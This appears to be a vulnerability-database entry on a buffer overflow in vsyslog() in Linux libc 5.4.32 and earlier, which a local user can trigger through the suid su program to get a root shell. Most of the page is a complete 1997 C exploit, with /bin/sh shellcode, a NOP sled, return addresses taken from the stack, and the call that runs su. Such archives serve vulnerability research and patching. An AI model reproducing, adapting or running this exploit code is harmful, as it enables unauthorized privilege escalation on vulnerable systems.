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Linux libc 5.3.12/5.4,RedHat Linux 4.0 vsyslog() Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Linux libc 5.3.12/5.4 vsyslog() Buffer Overflow Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/475/info

A buffer overflow is present in linux libc 5.4.32 and below that allows a user to obtain local root access under some conditions. The overflow is in the function vsyslog() and exploitable through the suid root program su, which passes the arg that exceeds boundaries directly to the function. The consequences of this problem being exploited that particular way are allowing a user to execute arbitrary code and gain root access.

/*
vsyslog()/openlog() exploit by BiT - 8/8 1997
Greets to: doodle, skaut, melon, kweiheri etc.
*/

#include <stdlib.h>
#include <unistd.h>

unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}

void main(int argc, char **argv)
{
unsigned char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
char *buf,*p;
unsigned long *adr;
int i;
if((p=buf=malloc(2028+28)) == NULL)
exit(-1);
memset(p,0x90,2028);
p+=2028-strlen(shell);
for(i=0;i<strlen(shell);i++)
*p++=shell[i];
adr=(long *)p;
for(i=0;i<7;i++)
*adr++=get_esp();
p=(char *)adr;
*p=0;
execl("/bin/su",buf,NULL);
}



                              

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11